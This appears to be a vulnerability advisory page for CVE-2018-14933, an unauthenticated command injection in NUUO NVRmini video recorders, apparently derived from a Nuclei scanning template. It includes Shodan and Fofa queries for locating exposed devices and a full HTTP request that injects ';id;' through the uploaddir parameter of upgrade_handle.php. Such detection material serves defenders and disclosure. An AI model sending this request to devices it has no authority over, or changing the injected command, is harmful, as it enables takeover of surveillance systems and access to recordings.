| Title | NUUO NVRmini - Remote Command Execution |
|---|---|
| Author | ritikchaddha |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute arbitrary commands on the NUUO NVRmini device by manipulating the uploaddir parameter in upgrade_handle.php, leading to complete device compromise and potential unauthorized access to video surveillance systems and recordings. |
| Remediation | Update NUUO NVRmini to a patched version later than the 2016 firmware that properly validates the uploaddir parameter and restricts command execution. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93755 |
| CVE ID | CVE-2018-14933 |
| CWE ID | CWE-78 |
| Shodan Query | title:"NUUO" |
| Fofa Query | title="NUUO" |
| Tags | cve cve2018 nuuo rce kev vkev vuln |
NUUO NVRmini is vulnerable to unauthenticated remote command execution through the upgrade_handle.php file. The vulnerability allows an attacker to execute arbitrary commands by manipulating the uploaddir parameter.
GET /upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;id;%27 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-14933.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-14933.pcap
N/AN/A